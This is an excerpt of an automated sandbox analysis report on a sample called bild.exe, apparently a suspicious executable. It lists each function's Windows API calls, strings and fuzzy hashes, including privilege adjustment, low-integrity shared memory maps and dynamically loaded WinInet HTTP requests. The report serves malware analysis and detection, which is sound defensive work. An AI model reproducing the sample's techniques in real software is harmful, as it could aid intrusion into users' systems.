Instruction ID: 70b925c9671ca2ba8c60c235799973cad0ebfedc925c9b8c045cbcba3d57fea5
Opcode Fuzzy Hash: 9f51accf2e6c36a5ac3aed7f4371bc7c89ad168635f9254af3da8760cfaf1ac8
Instruction Fuzzy Hash: 0241D371804258AADB34EB64DC55EEEB77CEF45300F4484AAB54DA2182FB709F85CB71

Function 00D7B275 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

\\?\, xrefs: 00D7B2C7, 00D7B303, 00D7B364, 00D7B3B7
UNC, xrefs: 00D7B311

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: ad7c3d85ca4320714f2a79a1df3d386f5724b1b4c5f528b346b50d988b96a93f
Instruction ID: 16e365e4d00620aee5f1c4c18ff0c983664bc4330f72fa03520e39df585da078
Opcode Fuzzy Hash: ad7c3d85ca4320714f2a79a1df3d386f5724b1b4c5f528b346b50d988b96a93f
Instruction Fuzzy Hash: B3414F35400259AACB21AF61DC41BEE7BA9EF053A0F54C567F95CA3142F770DA948AB0

Function 00D9C8E2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00D9CD1F,00000000,00000000,00000000,00000000,00000000,00D92C4E), ref: 00D9C98C
GetLastError.KERNEL32(?,00D9CD1F,00000000,00000000,00000000,00000000,00000000,00D92C4E,00000000,00D92C4E,00DA81D8,00000010,00D9B747,00000000,00DA8150,00000010), ref: 00D9C9B5

Strings

d0F, xrefs: 00D9C8F1

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: d0F
API String ID: 442123175-1238022483
Opcode ID: 0cb659e1cac2f5126330fdd50645cb453c0a93fa6c7885c454df37337c9e344c
Instruction ID: 9c34c48e3f0757d292fa9f00eec56938e020b589dc55bb8a1f368b119633e654
Opcode Fuzzy Hash: 0cb659e1cac2f5126330fdd50645cb453c0a93fa6c7885c454df37337c9e344c
Instruction Fuzzy Hash: E7315E72A10219ABCB24CF5DCC80A9AB3F5FF48311F2485AAE54AD7350E730A981CF64

Function 00D9C803 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,00D9CD3F,00000000,00000000,00000000,00000000,00000000,00D92C4E), ref: 00D9C89E
GetLastError.KERNEL32(?,00D9CD3F,00000000,00000000,00000000,00000000,00000000,00D92C4E,00000000,00D92C4E,00DA81D8,00000010,00D9B747,00000000,00DA8150,00000010), ref: 00D9C8C7

Strings

d0F, xrefs: 00D9C812

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: d0F
API String ID: 442123175-1238022483
Opcode ID: 685f7cda1de76945822f1b1775cbdeb802cf9463c06a5f068590e5fbfa291a31
Instruction ID: 8d8620f8123f2a084b915e79cc81885f8cc044c63bdc2acc426da50fa0412ecf
Opcode Fuzzy Hash: 685f7cda1de76945822f1b1775cbdeb802cf9463c06a5f068590e5fbfa291a31
Instruction Fuzzy Hash: 15218D76A102199FCB15DF59C880BE9B7F9FB48301F1044AAE94AD7251D730AD85CB70

Function 00D8802D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00D8803A

Strings

Shell.Explorer, xrefs: 00D88066
about:blank, xrefs: 00D880D2

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 62ddb23c51ac22fadc0b13fb54610922590ed1d369e67cdbcf602489c2a6f0fd
Instruction ID: 14217f1329a416c25c878afd9560d69409d92a9fbaf7a23606a483b31dc4c69c
Opcode Fuzzy Hash: 62ddb23c51ac22fadc0b13fb54610922590ed1d369e67cdbcf602489c2a6f0fd
Instruction Fuzzy Hash: FA218B75210706AFD304BB60C890E2AB768FF85750B948229F1058B682CF71EC44DBB0

Function 00D7DF34 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00D7DEB5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D7DED4
Part of subcall function 00D7DEB5: GetProcAddress.KERNEL32(00DB1E58,CryptUnprotectMemory), ref: 00D7DEE4

GetCurrentProcessId.KERNEL32(?,00000080,?,00D7DF2E), ref: 00D7DFB5

Strings

CryptUnprotectMemory failed, xrefs: 00D7DFAD
CryptProtectMemory failed, xrefs: 00D7DF75

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 54396d862c3e0d442f2784d7d4b7213d9621e86b4c53daeec7816dd3ea144eee
Instruction ID: ee860f178c19eea5a057ad1177ea6b79a5945b6ceb93863f380f444745412cd1
Opcode Fuzzy Hash: 54396d862c3e0d442f2784d7d4b7213d9621e86b4c53daeec7816dd3ea144eee
Instruction Fuzzy Hash: 56112B713092569BDB119B39CC11A6EB7ABEF85754B08C019F80ADA291FB60EC0082B0

Function 00D8D783 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00D8DDAF
___raise_securityfailure.LIBCMT ref: 00D8DE96

Strings

d0F, xrefs: 00D8DE77

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: d0F
API String ID: 3761405300-1238022483
Opcode ID: 5c7c36a5c8fb28f059dbecaacc3f478c181b410ce2dccf9ffabe97407be73a15
Instruction ID: ca474e4ebffe4ea5ebcbecf0813287d603fe9606dcb1b3695de2fc14f2bcb46c
Opcode Fuzzy Hash: 5c7c36a5c8fb28f059dbecaacc3f478c181b410ce2dccf9ffabe97407be73a15
Instruction Fuzzy Hash: 362112B550130B9ED704DF1DEE46F503BA4FB48318F11412AE909CBBA0E7B64980CF66

Function 00D712E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00D7CED7: GetWindowRect.USER32(?,?), ref: 00D7CF0E
Part of subcall function 00D7CED7: GetClientRect.USER32(?,?), ref: 00D7CF1A
Part of subcall function 00D7CED7: GetWindowLongW.USER32(?,000000F0), ref: 00D7CFBB
Part of subcall function 00D7CED7: GetWindowRect.USER32(?,?), ref: 00D7CFE8
Part of subcall function 00D7CED7: GetWindowTextW.USER32(?,?,00000400), ref: 00D7D007

GetDlgItem.USER32(00000000,00003021), ref: 00D7132B
SetWindowTextW.USER32(00000000,00DA02E4), ref: 00D71341

Strings

0, xrefs: 00D712EA

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Window$Rect$Text$ClientItemLong
String ID: 0
API String ID: 660763476-4108050209
Opcode ID: 93c2a0b6b4665109c2dbcc0e03d69093e63e94a5d6e2849481ec236446e41bf1
Instruction ID: 4758255fbcd3a864ecc9d94837beb94ba367343ad98bc1b2433b32d48781660a
Opcode Fuzzy Hash: 93c2a0b6b4665109c2dbcc0e03d69093e63e94a5d6e2849481ec236446e41bf1
Instruction Fuzzy Hash: 02F0A4B5540348ABDF160F688C0AAF93F599B05744F0CC214FE4C94591EB79D450EB34

Function 00D978A2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(?), ref: 00D978E1

Strings

d0F, xrefs: 00D978A8
FlsFree, xrefs: 00D978BD

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Free
String ID: FlsFree$d0F
API String ID: 3978063606-773397603
Opcode ID: 14409069d1883c966663cbecc4bcb801403aa85165208f897ddf749635c0dbee
Instruction ID: 9470b619e4b2967d98970a07136f864c3245d669bd25777d381a65289d920133
Opcode Fuzzy Hash: 14409069d1883c966663cbecc4bcb801403aa85165208f897ddf749635c0dbee
Instruction Fuzzy Hash: 8FE0E5B5B453187F8704BF659C0AA7EBB91DF46B10F140159F90697280DA715E00D6F9

Function 00D7FAC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00D7FD0B,?,?,00D7FD80,?,?,?,?,?,00D7FD6A), ref: 00D7FACD
GetLastError.KERNEL32(?,?,00D7FD80,?,?,?,?,?,00D7FD6A), ref: 00D7FAD9

Part of subcall function 00D76DD3: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D76DF1

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00D7FAE2

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 388e49078b4b9ed039898d9d517c51925796654e8de3e3b65f6a9774976d61bd
Instruction ID: 9f77932bfa73fa452b38e99fb001f80f0cbef0cc39de1ed4272125dab546e430
Opcode Fuzzy Hash: 388e49078b4b9ed039898d9d517c51925796654e8de3e3b65f6a9774976d61bd
Instruction Fuzzy Hash: 08D05E71618A312BD62137289C0AE6E3D049F13770F248716F13EA52E5EB614C5142B6

Analysis Process: bild.exePID: 7692, Parent PID: 7600COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	112

Executed Functions

Function 1109E190 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109D440: GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,A1BC2D8B,00080000,00000000,00000000), ref: 1109D46D
Part of subcall function 1109D440: OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
Part of subcall function 1109D440: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
Part of subcall function 1109D440: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,A1BC2D8B,00080000,00000000,00000000), ref: 1109E225
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109E23E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109E249
GetVersionExA.KERNEL32(?), ref: 1109E260
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2CE
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109E2E3
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2F4
CreateFileMappingA.KERNEL32(000000FF,11030063,00000004,00000000,?,?), ref: 1109E330
GetLastError.KERNEL32 ref: 1109E33D
LocalFree.KERNEL32(?), ref: 1109E366
LocalFree.KERNEL32(?), ref: 1109E373
GetLastError.KERNEL32 ref: 1109E390
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109E3AE
LocalFree.KERNEL32(?), ref: 1109E3D9
LocalFree.KERNEL32(?), ref: 1109E3E6

Part of subcall function 1109D3A0: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109E27E), ref: 1109D3A8

Part of subcall function 1109D3F0: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D404

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E412
LocalFree.KERNEL32(?), ref: 1109E4DB
LocalFree.KERNEL32(?), ref: 1109E4E8
_memset.LIBCMT ref: 1109E500
GetTickCount.KERNEL32 ref: 1109E508
GetCurrentProcessId.KERNEL32 ref: 1109E5B4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E5CF
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109E61B
GetLastError.KERNEL32 ref: 1109E624
GetLastError.KERNEL32(00000000), ref: 1109E62B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E660
GetLastError.KERNEL32 ref: 1109E669
GetLastError.KERNEL32(00000000), ref: 1109E670
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109E6A6
GetLastError.KERNEL32 ref: 1109E6AF
GetLastError.KERNEL32(00000000), ref: 1109E6B6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E6EB
GetLastError.KERNEL32 ref: 1109E6FA
GetLastError.KERNEL32(00000000), ref: 1109E6FD
LocalFree.KERNEL32(?), ref: 1109E725
LocalFree.KERNEL32(?), ref: 1109E732
GetCurrentThreadId.KERNEL32 ref: 1109E763
CreateThread.KERNEL32(00000000,00002000,Function_0009DD20,00000000,00000000,00000030), ref: 1109E77D
ResetEvent.KERNEL32(?), ref: 1109E7AC
ResetEvent.KERNEL32(?), ref: 1109E7B2
ResetEvent.KERNEL32(?), ref: 1109E7B8
SetEvent.KERNEL32(?), ref: 1109E7BE

Strings

map exists, xrefs: 1109E4EA
Error creating filemap (%d), xrefs: 1109E344
warning map exists, xrefs: 1109E490
Error cant create events, xrefs: 1109E7E7
cant create filemap, xrefs: 1109E375
cant create thread, xrefs: 1109E78A
Error filemap exists, xrefs: 1109E4BD
Cant create event %s, e=%d (x%x), xrefs: 1109E639, 1109E67E, 1109E6C4, 1109E707
SeSecurityPrivilege, xrefs: 1109E1FA
Error cant map view, xrefs: 1109E3BB
cant map, xrefs: 1109E3E8
S:(ML;;NW;;;LW), xrefs: 1109E288
cant create events, xrefs: 1109E7F4
IPC(%s) created, xrefs: 1109E7C8
Info - reusing existing filemap, xrefs: 1109E479

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction ID: e0f3534def007632db5cc521867dfefedb1bc63d92e862916d16df31d0e36df5
Opcode Fuzzy Hash: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction Fuzzy Hash: 221282B590026D9FE724DF61CCD4EAEF7BABB88308F0049A9E11997244D771AD84CF51

Function 11029590 Relevance: 89.8, APIs: 39, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,A1BC2D8B,74DF23A0,?,00000000), ref: 110295C5
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102965F
InternetCloseHandle.WININET(000000FF), ref: 1102966D
SetLastError.KERNEL32(00000078), ref: 11029673
_malloc.LIBCMT ref: 11029697
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 110296B1
GetLastError.KERNEL32 ref: 110296D2
_free.LIBCMT ref: 110296DE
_malloc.LIBCMT ref: 110296E7
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029701
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 1102973B
InternetOpenA.WININET(11194244,?,?,000000FF,00000000), ref: 1102975A
SetLastError.KERNEL32(00000078), ref: 11029764
SetLastError.KERNEL32(00000078), ref: 11029771
SetLastError.KERNEL32(00000078), ref: 1102977B
_free.LIBCMT ref: 11029785

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029805
SetLastError.KERNEL32(00000078), ref: 1102981E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 11029831
InternetConnectA.WININET(000000FF,11199690,00000050,00000000,00000000,00000003,00000000,00000000), ref: 1102984E
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102986A
SetLastError.KERNEL32(00000078), ref: 11029883
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 110298A9
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 110298FD
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 11029A63
SetLastError.KERNEL32(00000078), ref: 11029B30
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029B82
SetLastError.KERNEL32(00000078), ref: 11029B99
FreeLibrary.KERNEL32(?), ref: 11029BAA

Strings

InternetOpenA, xrefs: 11029735
://, xrefs: 110297A5
GET, xrefs: 110298C9
InternetQueryOptionA, xrefs: 110296AB, 110296FB
InternetCloseHandle, xrefs: 11029659, 110297FF, 11029864, 11029B7C
HttpOpenRequestA, xrefs: 110298A3
InternetErrorDlg, xrefs: 110299A0
HttpQueryInfoA, xrefs: 11029943
HttpSendRequestA, xrefs: 110298F7
WinInet.dll, xrefs: 110295BD
InternetConnectA, xrefs: 1102982B
InternetQueryDataAvailable, xrefs: 11029A5D

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Internet$FreeLibrary_free_malloc$CloseConnectHandleHeapLoadOpen
